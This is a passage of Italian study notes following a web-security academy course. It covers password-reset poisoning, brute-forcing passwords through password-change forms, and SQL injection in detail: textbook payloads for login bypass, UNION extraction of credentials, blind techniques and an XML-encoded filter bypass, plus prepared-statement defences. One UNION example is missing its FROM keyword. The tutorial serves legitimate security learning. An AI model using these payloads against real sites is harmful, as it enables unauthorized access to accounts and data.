Se l’URL nell’e-mail di reimpostazione viene generato dinamicamente, anche questo potrebbe essere vulnerabile all’avvelenamento da reimpostazione della password. In questo caso, un utente malintenzionato può potenzialmente rubare il token di un altro utente e utilizzarlo per modificare la propria password.

Lab: Password reset poisoning via middleware

Per saperne di più

Password reset poisoning

Modifica delle password degli utenti

In genere, la modifica della password comporta l’immissione della password corrente e quindi della nuova password due volte. Queste pagine si basano fondamentalmente sullo stesso processo di verifica della corrispondenza dei nomi utente e delle password attuali come fa una normale pagina di accesso. Pertanto, queste pagine possono essere vulnerabili alle stesse tecniche.

La funzionalità di modifica della password può essere particolarmente pericolosa se consente a un utente malintenzionato di accedervi direttamente senza aver effettuato l’accesso come utente vittima. Ad esempio, se il nome utente viene fornito in un campo nascosto, un utente malintenzionato potrebbe essere in grado di modificare questo valore nella richiesta per prendere di mira utenti arbitrari. Questo può essere potenzialmente sfruttato per enumerare nomi utente e password a forza bruta.

Lab: Password brute-force via password change

(torna su)

SQL injection

PortSwigger Academy – SQL injection

Ho seguito il percorso di apprendimento suggerito da “PortSwigger Academy” per essere indirizzato nella giusta direzione. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

SQL injection

Cos’è l’ SQL injection (SQLi)?

SQL injection (SQLi) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di interferire con le query che un’applicazione effettua al proprio database. Generalmente consente a un utente malintenzionato di visualizzare dati che normalmente non è in grado di recuperare. Ciò potrebbe includere dati appartenenti ad altri utenti o qualsiasi altro dato a cui l’applicazione stessa è in grado di accedere. In molti casi, un utente malintenzionato può modificare o eliminare questi dati, causando modifiche persistenti al contenuto o al comportamento dell’applicazione.

In alcune situazioni, un utente malintenzionato può intensificare un attacco SQL injection per compromettere il server sottostante o un’altra infrastruttura back-end oppure eseguire un attacco denial-of-service.

Qual è l’impatto di un attacco SQL injection riuscito?

Un attacco SQL injection riuscito può comportare l’accesso non autorizzato a dati sensibili, come password, dettagli della carta di credito o informazioni personali dell’utente. Molte violazioni dei dati di alto profilo negli ultimi anni sono state il risultato di attacchi SQL injection, che hanno portato a danni alla reputazione e multe normative. In alcuni casi, un utente malintenzionato può ottenere una backdoor persistente nei sistemi di un’organizzazione, portando a una compromissione a lungo termine che può passare inosservata per un periodo prolungato.

Come rilevare le vulnerabilità di SQL injection

La maggior parte delle vulnerabilità di SQL injection può essere trovata in modo rapido e affidabile utilizzando lo scanner di vulnerabilità Web di Burp Suite.

L’SQL injection può essere rilevata manualmente utilizzando una serie sistematica di test su ogni punto di ingresso nell’applicazione. Ciò comporta in genere:

  • Inserendo il carattere di apice singolo e cercando errori o altre anomalie.
  • Invio di una sintassi specifica di SQL che restituisce il valore di base (originale) del punto di ingresso e un valore diverso e ricerca di differenze sistematiche nelle risposte dell’applicazione risultanti.
  • Invio di condizioni booleane come OR 1=1 e OR 1=2 e ricerca delle differenze nelle risposte dell’applicazione.
  • Invio di payload progettati per attivare ritardi temporali durante l’esecuzione all’interno di una query SQL e ricerca delle differenze nel tempo impiegato per rispondere.
  • Invio di payload OAST progettati per attivare un’interazione di rete fuori banda quando eseguita all’interno di una query SQL e monitoraggio di eventuali interazioni risultanti.

SQL injection in diverse parti della query

La maggior parte delle vulnerabilità di SQL injection si verifica all’interno della clausola WHERE di una query SELECT. Questo tipo di SQL injection è generalmente ben compreso dai tester esperti.

Ma le vulnerabilità di SQL injection possono in linea di principio verificarsi in qualsiasi posizione all’interno della query e all’interno di diversi tipi di query. Le altre posizioni più comuni in cui si verifica l’iniezione SQL sono:

  • Nelle istruzioni UPDATE, all’interno dei valori aggiornati o nella clausola WHERE.
  • Nelle istruzioni INSERT, all’interno dei valori inseriti.
  • Nelle istruzioni SELECT, all’interno del nome della tabella o della colonna.
  • Nelle istruzioni SELECT, all’interno della clausola ORDER BY.

Esempi di iniezione SQL

Esiste un’ampia varietà di vulnerabilità, attacchi e tecniche di SQL injection, che si verificano in situazioni diverse. Alcuni esempi comuni di SQL injection includono:

Recupero di dati nascosti

Considera un’applicazione per lo shopping che mostra i prodotti in diverse categorie. Quando l’utente fa clic sulla categoria Regali, il browser richiede l’URL:

https://insecure-website.com/products?category=Gifts

Ciò fa sì che l’applicazione esegua una query SQL per recuperare i dettagli dei prodotti rilevanti dal database:

SELECT * FROM products WHERE category = ’Gifts’ AND released = 1

Questa query SQL chiede al database di restituire:

  • tutti i dettagli (*)
  • dalla tabella dei prodotti
  • dove la categoria è Regali
  • e rilasciato è 1.

La restrizione released = 1 viene utilizzata per nascondere i prodotti che non sono stati rilasciati. Per i prodotti non rilasciati, presumibilmente released = 0.

L’applicazione non implementa alcuna difesa contro gli attacchi SQL injection, quindi un utente malintenzionato può costruire un attacco come:

https://insecure-website.com/products?category=Gifts’–

Ciò si traduce nella query SQL:

      SELECT * FROM products WHERE category = ’Gifts’--’ AND released = 1

La cosa fondamentale qui è che la sequenza di doppio trattino è un indicatore di commento in SQL e significa che il resto della query viene interpretato come un commento. Ciò rimuove efficacemente il resto della query, quindi non include più AND released = 1. Ciò significa che vengono visualizzati tutti i prodotti, inclusi i prodotti non rilasciati.

Andando oltre, un utente malintenzionato può fare in modo che l’applicazione visualizzi tutti i prodotti in qualsiasi categoria, comprese le categorie di cui non è a conoscenza:

https://insecure-website.com/products?category=Gifts’+OR+1=1–

La query modificata restituirà tutti gli elementi in cui la categoria è Regali o 1 è uguale a 1. Poiché 1=1 è sempre vero, la query restituirà tutti gli elementi.

Avvertimento

Prestare attenzione quando si inserisce la condizione OR 1=1 in una query SQL. Anche se questo può essere innocuo nel contesto iniziale in cui stai effettuando l’iniezione, è normale che le applicazioni utilizzino i dati di una singola richiesta in più query diverse. Se la tua condizione raggiunge un’istruzione UPDATE o DELETE, ad esempio, ciò può comportare una perdita accidentale di dati.

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

(torna su)

Sovvertire la logica dell’applicazione

Considera un’applicazione che consente agli utenti di accedere con un nome utente e una password. Se un utente invia il nome utente wiener e la password bluecheese, l’applicazione controlla le credenziali eseguendo la seguente query SQL:

SELECT * FROM users WHERE username = ’wiener’ AND password = ’bluecheese’

Se la query restituisce i dettagli di un utente, l’accesso ha esito positivo. In caso contrario, viene rifiutato.

In questo caso, un utente malintenzionato può accedere come qualsiasi utente senza password semplicemente utilizzando la sequenza di commenti SQL, per rimuovere il controllo della password dalla clausola WHERE della query. Ad esempio, inviando il nome utente administrator’– e una password vuota si ottiene la seguente query:

SELECT * FROM users WHERE username = ’administrator’--’ AND password =’’

Questa query restituisce l’utente il cui nome utente è administrator e fa accedere correttamente l’attaccante come quell’utente.

Lab: SQL injection vulnerability allowing login bypass

(torna su)

Recupero di dati da altre tabelle di database

Nei casi in cui i risultati di una query SQL vengono restituiti all’interno delle risposte dell’applicazione, un utente malintenzionato può sfruttare una vulnerabilità di SQL injection per recuperare i dati da altre tabelle all’interno del database. Questa operazione viene eseguita utilizzando la parola chiave UNION, che consente di eseguire un’ulteriore query SELECT e aggiungere i risultati alla query originale.

Ad esempio, se un’applicazione esegue la seguente query contenente l’input dell’utente “Gift”:

SELECT name, description FROM products WHERE category = ’Gifts’

quindi un utente malintenzionato può inviare l’input:

’ UNION SELECT username, password users--

Ciò farà sì che l’applicazione restituisca tutti i nomi utente e le password insieme ai nomi e alle descrizioni dei prodotti.

Per saperne di più

SQL injection UNION attacks

Vulnerabilità di blind SQL injection

Molte istanze di SQL injection sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce i risultati della query SQL o i dettagli di eventuali errori del database all’interno delle sue risposte. Le vulnerabilità cieche possono ancora essere sfruttate per accedere a dati non autorizzati, ma le tecniche coinvolte sono generalmente più complicate e difficili da eseguire.

A seconda della natura della vulnerabilità e del database interessato, è possibile utilizzare le seguenti tecniche per sfruttare le vulnerabilità della blind SQL injection:

  • È possibile modificare la logica della query per attivare una differenza rilevabile nella risposta dell’applicazione a seconda della verità di una singola condizione. Ciò potrebbe comportare l’inserimento di una nuova condizione in una logica booleana o l’attivazione condizionale di un errore come una divisione per zero.
  • È possibile attivare in modo condizionale un ritardo nell’elaborazione della query, consentendo di dedurre la verità della condizione in base al tempo impiegato dall’applicazione per rispondere.
  • È possibile attivare un’interazione di rete fuori banda utilizzando le tecniche OAST. Questa tecnica è estremamente potente e funziona in situazioni in cui le altre tecniche non funzionano. Spesso puoi estrarre direttamente i dati tramite il canale fuori banda, ad esempio inserendo i dati in una ricerca DNS per un dominio che controlli.

Per saperne di più

Blind SQL injection

Iniezione SQL di secondo ordine

L’iniezione SQL di primo ordine si verifica quando l’applicazione prende l’input dell’utente da una richiesta HTTP e, nel corso dell’elaborazione di tale richiesta, incorpora l’input in una query SQL in modo non sicuro.

Nell’iniezione SQL di secondo ordine (nota anche come iniezione SQL archiviata), l’applicazione riceve l’input dell’utente da una richiesta HTTP e lo archivia per un utilizzo futuro. Questo di solito viene fatto inserendo l’input in un database, ma non si verifica alcuna vulnerabilità nel punto in cui i dati sono archiviati. Successivamente, durante la gestione di una richiesta HTTP diversa, l’applicazione recupera i dati archiviati e li incorpora in una query SQL in modo non sicuro.

L’iniezione SQL di secondo ordine si verifica spesso in situazioni in cui gli sviluppatori sono a conoscenza delle vulnerabilità dell’iniezione SQL e quindi gestiscono in modo sicuro il posizionamento iniziale dell’input nel database. Quando i dati vengono successivamente elaborati, sono considerati sicuri, poiché sono stati precedentemente inseriti nel database in modo sicuro. A questo punto, i dati vengono gestiti in modo non sicuro, perché lo sviluppatore li ritiene erroneamente attendibili.

Esame del database

Alcune funzionalità principali del linguaggio SQL sono implementate allo stesso modo su piattaforme di database popolari e così tanti modi per rilevare e sfruttare le vulnerabilità di SQL injection funzionano in modo identico su diversi tipi di database.

Tuttavia, ci sono anche molte differenze tra i database comuni. Ciò significa che alcune tecniche per rilevare e sfruttare l’iniezione SQL funzionano in modo diverso su piattaforme diverse. Per esempio:

  • Sintassi per la concatenazione di stringhe.
  • Commenti.
  • Query in batch (o in pila).
  • API specifiche della piattaforma.
  • Messaggio di errore.

Per saperne di più

SQL injection cheat sheet

Dopo l’identificazione iniziale di una vulnerabilità SQL injection, è generalmente utile ottenere alcune informazioni sul database stesso. Queste informazioni possono spesso aprire la strada a un ulteriore sfruttamento.

È possibile interrogare i dettagli della versione per il database. Il modo in cui ciò viene fatto dipende dal tipo di database, quindi puoi dedurre il tipo di database da qualsiasi tecnica funzioni. Ad esempio, su Oracle puoi eseguire:

SELECT * FROM v$version

È inoltre possibile determinare quali tabelle di database esistono e quali colonne contengono. Ad esempio, sulla maggior parte dei database è possibile eseguire la seguente query per elencare le tabelle:

SELECT * FROM information_schema.tables

Per saperne di più

SQL injection in diversi contesti

In tutti i laboratori finora, hai utilizzato la stringa di query per iniettare il tuo payload SQL dannoso. Tuttavia, è importante notare che è possibile eseguire attacchi SQL injection utilizzando qualsiasi input controllabile elaborato come query SQL dall’applicazione. Ad esempio, alcuni siti Web accettano input in formato JSON o XML e lo utilizzano per interrogare il database.

Questi diversi formati possono persino fornire modi alternativi per offuscare gli attacchi (obfuscate attacks) che altrimenti sarebbero bloccati a causa di WAF e altri meccanismi di difesa. Le implementazioni deboli spesso cercano solo parole chiave SQL injection comuni all’interno della richiesta, quindi potresti essere in grado di aggirare questi filtri semplicemente codificando o eseguendo l’escape dei caratteri nelle parole chiave proibite. Ad esempio, la seguente SQL injection basata su XML utilizza una sequenza di escape XML per codificare il carattere S in SELECT:

<stockCheck>
	<productId>
	123
	</productId>
	<storeId>
	999 &#x53;ELECT * FROM information_schema.tables
	</storeId>
	</stockCheck>

Questo verrà decodificato sul lato server prima di essere passato all’interprete SQL.

Lab: SQL injection with filter bypass via XML encoding

Come prevenire l’SQL injection

La maggior parte delle istanze di SQL injection può essere prevenuta utilizzando query con parametri (note anche come istruzioni preparate) anziché la concatenazione di stringhe all’interno della query.

Il seguente codice è vulnerabile all’iniezione SQL perché l’input dell’utente è concatenato direttamente nella query:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
    Statement statement = connection.createStatement();
    ResultSet resultSet = statement.executeQuery(query);

Questo codice può essere facilmente riscritto in modo da impedire all’input dell’utente di interferire con la struttura della query:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
    statement.setString(1, input);
    ResultSet resultSet = statement.executeQuery();

Le query con parametri possono essere utilizzate per qualsiasi situazione in cui l’input non attendibile viene visualizzato come dati all’interno della query, inclusi la clausola WHERE e i valori in un’istruzione INSERT o UPDATE. Non possono essere utilizzati per gestire l’input non attendibile in altre parti della query, come i nomi di tabelle o colonne o la clausola ORDER BY. La funzionalità dell’applicazione che inserisce dati non attendibili in quelle parti della query dovrà adottare un approccio diverso, ad esempio inserire nella whitelist i valori di input consentiti o utilizzare una logica diversa per fornire il comportamento richiesto.

Affinché una query con parametri sia efficace nel prevenire l’iniezione SQL, la stringa utilizzata nella query deve essere sempre una costante hardcoded e non deve mai contenere dati variabili di alcuna origine. Non essere tentato di decidere caso per caso se un elemento di dati è attendibile e continua a utilizzare la concatenazione di stringhe all’interno della query per i casi considerati sicuri. È fin troppo facile commettere errori sulla possibile origine dei dati o che le modifiche in altro codice violino le ipotesi su quali dati sono contaminati.

Per saperne di più

Find SQL injection vulnerabilities using Burp Suite’s web vulnerability scanner